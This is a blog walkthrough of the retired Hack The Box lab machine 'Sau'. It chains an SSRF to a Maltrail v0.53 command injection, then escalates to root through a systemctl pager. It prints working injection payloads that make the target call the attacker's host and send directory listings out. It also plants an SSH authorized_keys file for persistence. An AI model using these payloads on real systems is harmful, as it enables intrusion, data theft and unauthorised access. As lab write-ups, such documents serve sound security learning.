05 February 2024

Hack The Box Sau Walkthrough

A walkthrough of Hack The Box's Sau

Will Lindsey
Will Lindsey Information System Security Officer LinkedIn

Hack the Box is one of the cybersecurity upskilling platforms I use for professional development. Roughly once a week, Hack the Box releases a new vulnerable box for users to hack. Additionally, one active box is retired every week.

In this walkthrough, I delve into the recently retired box named “Sau.” This follows my previous exploration of the “Soccer” box, which you can read about here. The primary objective with “Sau” is to capture two crucial flags: the user.txt flag located in the user home directory and the root.txt flag found in the /root directory.


Sau hosts a service that is vulnerable to Server-Side Request Forgery (SSRF), enabling the forwarding of requests to services hosted locally on the box. During the investigation, I discovered that Maltrail version 0.53 is running locally. Exploiting a known Remote Code Execution (RCE) vulnerability in Maltrail, I successfully gained access as the ‘puma’ user on the box. Notably, this user has privileges to run a specific systemctl command as root. The command’s output is displayed in a pager, which conveniently allows for the execution of further commands without losing root privileges.

Port Scanning

Initially, I executed an Nmap scan, targeting all TCP ports and employing default scripts along with version detection options.

# Nmap 7.94 scan initiated Wed Dec 27 21:24:35 2023 as: nmap -sC -sV -p- -oN sau.tcp.nmap
Nmap scan report for
Host is up (0.033s latency).
Not shown: 65531 closed tcp ports (conn-refused)
22/tcp	open 	ssh 	OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_  256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp	filtered http
8338/tcp  filtered unknown
55555/tcp open 	unknown
| fingerprint-strings:
|   FourOhFourRequest:
| 	HTTP/1.0 400 Bad Request
| 	Content-Type: text/plain; charset=utf-8
| 	X-Content-Type-Options: nosniff
| 	Date: Thu, 28 Dec 2023 02:25:17 GMT
| 	Content-Length: 75
| 	invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| 	HTTP/1.1 400 Bad Request
| 	Content-Type: text/plain; charset=utf-8
| 	Connection: close
| 	Request
|   GetRequest:
| 	HTTP/1.0 302 Found
| 	Content-Type: text/html; charset=utf-8
| 	Location: /web
| 	Date: Thu, 28 Dec 2023 02:24:51 GMT
| 	Content-Length: 27
| 	href="/web">Found</a>.
|   HTTPOptions:
| 	HTTP/1.0 200 OK
| 	Allow: GET, OPTIONS
| 	Date: Thu, 28 Dec 2023 02:24:51 GMT
|_	Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 27 21:26:15 2023 -- 1 IP address (1 host up) scanned in 99.58 seconds

Exploring 55555

I reviewed the Nmap scan results and determined that HTTP is running on port 80 and port 55555. Port 80 was filtered and inaccessible, so I moved on to check port 55555. I accessed this port using my browser. I saw that the port is serving something that allows me to inspect HTTP requests.


I created a basket and was given a token.


I navigated to my basket and noticed that I could send requests to the basket.


I made an HTTP GET request to my basket and saw that it showed up in my basket’s logs.



SSRF Discovery

Previously, I had noticed that access to port 80 was not possible. However, upon setting up my ‘basket’ on port 55555, I realized it could be configured to forward requests. Consequently, I directed my requests to http://localhost (port 80). I enabled the ‘Expand Forward Path’ option, allowing me to reach various paths served by the localhost on the other side.


Upon making a request to my basket, I observed that Maltrail v0.53 was running locally on the remote machine.


RCE via Maltrail v0.53

Using Google, I discovered that Maltrail v0.53 suffers from a RCE vulnerability that can be exploited via the username parameter when attempting to login. In short the vulnerability is a blind command injection. After I read publicly available POC’s, I was able to summarize the exploit as the following.

curl 'http://maltrailserver/bucket/login' --data 'username=;`command_injection`'

I base64 encoded a curl request to my local machine.

└─$ echo "curl"|base64 -w 0 	 

I hosted a web server on my local machine.

└─$ python3 -m http.server 80  
Serving HTTP on port 80 ( ...

I combined the base64 encoded string with the Maltrail exploit to get the remote server to make an HTTP request to my local machine.

└─$ curl '' --data 'username=;`echo+\"Y3VybCBodHRwOi8vMTAuMTAuMTQuMy90ZXN0Cg==\"+|+base64+-d+|+sh`'
Login failed  

The login attempt failed, but I received a GET request from the remote machine (

└─$ python3 -m http.server 80  
Serving HTTP on port 80 ( ... - - [27/Dec/2023 22:07:11] "GET /test HTTP/1.1" 301 -

I exploited the vulnerability to see which user is executing the commands. To do this, I had the remote machine request the path $(whoami) to my web server. This caused the remote machine to first execute the command whoami and the output of that command is the path the remote machine requested from my web server.

└─$ echo "curl\$(whoami)" |base64 -w 0               	 

└─$ curl '' --data 'username=;`echo+\"Y3VybCBodHRwOi8vMTAuMTAuMTQuMy8kKHdob2FtaSkK\"+|+base64+-d+|+sh`'   
Login failed                                      	 

The remote host made a request to my web server. The requested path corresponded to the username on the remote host with which I have achieved Remote Code Execution. From this path, I deduce that I was executing code as the user “puma”.

└─$ python3 -m http.server 80
Serving HTTP on port 80 ( ... - - [28/Dec/2023 14:09:15] code 404, message File not found - - [28/Dec/2023 14:09:15] "GET /puma HTTP/1.1" 404 -

I listed the contents of the directory “/home.”

└─$ echo "curl\$(ls -la /home |base64 -w 0)" |base64 -w 0    
└─$ curl '' --data 'username=;`echo+\"Y3VybCBodHRwOi8vMTAuMTAuMTQuMy8kKGxzIC1sYSAvaG9tZSB8YmFzZTY0IC13IDApCg==\"+|+base64+-d+|+sh`'
Login failed

The remote server made an HTTP GET request to my local machine, requesting a path that corresponded to the base64-encoded output of the ‘ls -la /home’ command.

└─$ python3 -m http.server 80
Serving HTTP on port 80 ( ... - - [28/Dec/2023 14:09:15] code 404, message File not found - - [28/Dec/2023 14:09:15] "GET /puma HTTP/1.1" 404 - - - [28/Dec/2023 14:15:03] "GET /dG90YWwgMTIKZHJ3eHIteHIteCAgMyByb290IHJvb3QgNDA5NiBBcHIgMTUgIDIwMjMgLgpkcnd4ci14ci14IDIwIHJvb3Qgcm9vdCA0MDk2IEp1biAxOSAgMjAyMyAuLgpkcnd4ci14ci14ICA0IHB1bWEgcHVtYSA0MDk2IEp1biAxOSAgMjAyMyBwdW1hCg== HTTP/1.1" 404 -

Upon decoding the base64-encoded string, I observed that the “puma” directory was listed in the home directory.

└─$ echo "dG90YWwgMTIKZHJ3eHIteHIteCAgMyByb290IHJvb3QgNDA5NiBBcHIgMTUgIDIwMjMgLgpkcnd4ci14ci14IDIwIHJvb3Qgcm9vdCA0MDk2IEp1biAxOSAgMjAyMyAuLgpkcnd4ci14ci14ICA0IHB1bWEgcHVtYSA0MDk2IEp1biAxOSAgMjAyMyBwdW1hCg=="|base64 -d
total 12
drwxr-xr-x  3 root root 4096 Apr 15  2023 .
drwxr-xr-x 20 root root 4096 Jun 19  2023 ..
drwxr-xr-x  4 puma puma 4096 Jun 19  2023 puma

I listed the contents of the puma directory using the same method.

└─$ echo "curl\$(ls -la /home/puma |base64 -w 0)" |base64 -w 0   
└─$ curl '' --data 'username=;`echo+\"Y3VybCBodHRwOi8vMTAuMTAuMTQuMy8kKGxzIC1sYSAvaG9tZS9wdW1hIHxiYXNlNjQgLXcgMCkK\"+|+base64+-d+|+sh`'
Login failed                                                                                     	
└─$ python3 -m http.server 80
Serving HTTP on port 80 ( ... - - [28/Dec/2023 14:09:15] code 404, message File not found - - [28/Dec/2023 14:09:15] "GET /puma HTTP/1.1" 404 - - - [28/Dec/2023 14:12:31] code 404, message File not found - - [28/Dec/2023 14:12:31] "GET //usr/bin/curl HTTP/1.1" 404 - - - [28/Dec/2023 14:13:00] code 404, message File not found - - [28/Dec/2023 14:13:00] "GET //usr/bin/nc HTTP/1.1" 404 - - - [28/Dec/2023 14:15:03] code 404, message File not found - - [28/Dec/2023 14:15:03] "GET /dG90YWwgMTIKZHJ3eHIteHIteCAgMyByb290IHJvb3QgNDA5NiBBcHIgMTUgIDIwMjMgLgpkcnd4ci14ci14IDIwIHJvb3Qgcm9vdCA0MDk2IEp1biAxOSAgMjAyMyAuLgpkcnd4ci14ci14ICA0IHB1bWEgcHVtYSA0MDk2IEp1biAxOSAgMjAyMyBwdW1hCg== HTTP/1.1" 404 - - - [28/Dec/2023 14:33:17] code 404, message File not found - - [28/Dec/2023 14:33:17] "GET /dG90YWwgMzIKZHJ3eHIteHIteCA0IHB1bWEgcHVtYSA0MDk2IEp1biAxOSAgMjAyMyAuCmRyd3hyLXhyLXggMyByb290IHJvb3QgNDA5NiBBcHIgMTUgIDIwMjMgLi4KbHJ3eHJ3eHJ3eCAxIHJvb3Qgcm9vdCAgICA5IEFwciAxNCAgMjAyMyAuYmFzaF9oaXN0b3J5IC0+IC9kZXYvbnVsbAotcnctci0tci0tIDEgcHVtYSBwdW1hICAyMjAgRmViIDI1ICAyMDIwIC5iYXNoX2xvZ291dAotcnctci0tci0tIDEgcHVtYSBwdW1hIDM3NzEgRmViIDI1ICAyMDIwIC5iYXNocmMKZHJ3eC0tLS0tLSAyIHB1bWEgcHVtYSA0MDk2IEFwciAxNSAgMjAyMyAuY2FjaGUKZHJ3eC0tLS0tLSAzIHB1bWEgcHVtYSA0MDk2IEFwciAxNSAgMjAyMyAuZ251cGcKLXJ3LXItLXItLSAxIHB1bWEgcHVtYSAgODA3IEZlYiAyNSAgMjAyMCAucHJvZmlsZQpscnd4cnd4cnd4IDEgcHVtYSBwdW1hICAgIDkgQXByIDE1ICAyMDIzIC52aW1pbmZvIC0+IC9kZXYvbnVsbApscnd4cnd4cnd4IDEgcHVtYSBwdW1hICAgIDkgQXByIDE1ICAyMDIzIC53Z2V0LWhzdHMgLT4gL2Rldi9udWxsCi1ydy1yLS0tLS0gMSByb290IHB1bWEgICAzMyBEZWMgMjggMTc6MDcgdXNlci50eHQK HTTP/1.1" 404 -
└─$ echo "dG90YWwgMzIKZHJ3eHIteHIteCA0IHB1bWEgcHVtYSA0MDk2IEp1biAxOSAgMjAyMyAuCmRyd3hyLXhyLXggMyByb290IHJvb3QgNDA5NiBBcHIgMTUgIDIwMjMgLi4KbHJ3eHJ3eHJ3eCAxIHJvb3Qgcm9vdCAgICA5IEFwciAxNCAgMjAyMyAuYmFzaF9oaXN0b3J5IC0+IC9kZXYvbnVsbAotcnctci0tci0tIDEgcHVtYSBwdW1hICAyMjAgRmViIDI1ICAyMDIwIC5iYXNoX2xvZ291dAotcnctci0tci0tIDEgcHVtYSBwdW1hIDM3NzEgRmViIDI1ICAyMDIwIC5iYXNocmMKZHJ3eC0tLS0tLSAyIHB1bWEgcHVtYSA0MDk2IEFwciAxNSAgMjAyMyAuY2FjaGUKZHJ3eC0tLS0tLSAzIHB1bWEgcHVtYSA0MDk2IEFwciAxNSAgMjAyMyAuZ251cGcKLXJ3LXItLXItLSAxIHB1bWEgcHVtYSAgODA3IEZlYiAyNSAgMjAyMCAucHJvZmlsZQpscnd4cnd4cnd4IDEgcHVtYSBwdW1hICAgIDkgQXByIDE1ICAyMDIzIC52aW1pbmZvIC0+IC9kZXYvbnVsbApscnd4cnd4cnd4IDEgcHVtYSBwdW1hICAgIDkgQXByIDE1ICAyMDIzIC53Z2V0LWhzdHMgLT4gL2Rldi9udWxsCi1ydy1yLS0tLS0gMSByb290IHB1bWEgICAzMyBEZWMgMjggMTc6MDcgdXNlci50eHQK"|base64 -d
total 32
drwxr-xr-x 4 puma puma 4096 Jun 19  2023 .
drwxr-xr-x 3 root root 4096 Apr 15  2023 ..
lrwxrwxrwx 1 root root	9 Apr 14  2023 .bash_history -> /dev/null
-rw-r--r-- 1 puma puma  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 puma puma 3771 Feb 25  2020 .bashrc
drwx------ 2 puma puma 4096 Apr 15  2023 .cache
drwx------ 3 puma puma 4096 Apr 15  2023 .gnupg
-rw-r--r-- 1 puma puma  807 Feb 25  2020 .profile
lrwxrwxrwx 1 puma puma	9 Apr 15  2023 .viminfo -> /dev/null
lrwxrwxrwx 1 puma puma	9 Apr 15  2023 .wget-hsts -> /dev/null
-rw-r----- 1 root puma   33 Dec 28 17:07 user.txt

Shell as Puma

I generated an SSH key pair, copied the public key into a file named ‘authorized_keys’, and set restricted permissions on the private key. All these files were created in the same directory where my web server was hosted.

└─$ ssh-keygen -f id_rsa                                                 	 
Generating public/private rsa key pair.                       	 
Enter passphrase (empty for no passphrase):                                                                      	 
Enter same passphrase again:                                                	 
Your identification has been saved in id_rsa          	 
Your public key has been saved in id_rsa.pub
The key fingerprint is:                                                                                          	 
SHA256:Ukc7uO/KKmEo1Eqaf+JnJyz5QJlul/8fkruyfBltF0w kali@kali
The key's randomart image is:                                                                                    	 
+---[RSA 3072]----+                                	 
|      	.  	|    
|     	o .E	|                  	 
|  . 	o +o 	|                            	 
| o +   . o .o	|                       	 
|+.=.  . S.   .   |      	 
|++. o. ..oo .	|
| o++o.  o+o. 	|
| .=oBoo.o+ . 	|
| ..B.+=**+o  	|

└─$ cat id_rsa.pub > authorized_keys

└─$ chmod 600 id_rsa  

I used the exploit to create a “.ssh” directory in the “puma” directory. I then downloaded the ‘authorized_keys’ file to the “.ssh” directory.

└─$ echo "mkdir /home/puma/.ssh && curl -o /home/puma/.ssh/authorized_keys"|base64 -w 0

└─$ curl '' --data 'username=;`echo+\"bWtkaXIgL2hvbWUvcHVtYS8uc3NoICYmIGN1cmwgaHR0cDovLzEwLjEwLjE0LjMvYXV0aG9yaXplZF9rZXlzIC1vIC9ob21lL3B1bWEvLnNzaC9hdXRob3JpemVkX2tleXMK\"+|+base64+-d+|+sh`'
Login failed   

At this point I could ssh in as puma.

└─$ ssh -i id_rsa puma@    
The authenticity of host ' (' can't be established.
ED25519 key fingerprint is SHA256:eUmHwwBfjAwU5g1joD4ALaRbYE5ZzLkBhJz7MQuBBLQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-153-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management: 	https://landscape.canonical.com
 * Support:    	https://ubuntu.com/advantage

  System information as of Thu Dec 28 19:41:29 UTC 2023

  System load:       	0.0
  Usage of /:        	44.7% of 4.78GB
  Memory usage:      	5%
  Swap usage:        	0%
  Processes:         	220
  Users logged in:   	0
  IPv4 address for eth0:
  IPv6 address for eth0: dead:beef::250:56ff:feb9:7597

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Jul  4 13:35:50 2023 from
puma@sau:~$ ls
puma@sau:~$ cat user.txt |wc
  	1   	1  	33


Running “sudo -l” I saw I could check the status of a service with systemctl. GTFOBins has payloads to escalate privileges related to this permission.

puma@sau:~$ sudo -l
Matching Defaults entries for puma on sau:
	env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
	(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

I ran the command and saw I was dropped into a pager.


Whenever I am dropped into a pager as a result of running a command with elevated privileges, the first thing I try to do is spawn a shell. If I am lucky, the shell will have the same privileges that where used to execute the command that spawned the pager. You can read more about this at GTFOBins less

<p>Message: File not found.</p>
<p>Error code explanation: 404 - Nothing matches the given URI.</p>
    </html> from port 51854
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt |wc
  	1   	1  	33

It worked.


“Sau” represents one of the numerous captivating challenges offered on Hack the Box. As I continue to expand my expertise through this platform, I plan to publish walkthroughs of additional retired boxes in the future.

If you have any questions, or would like to discuss this topic in more detail, feel free to contact us and we would be happy to schedule some time to chat about how Aquia can help you and your organization.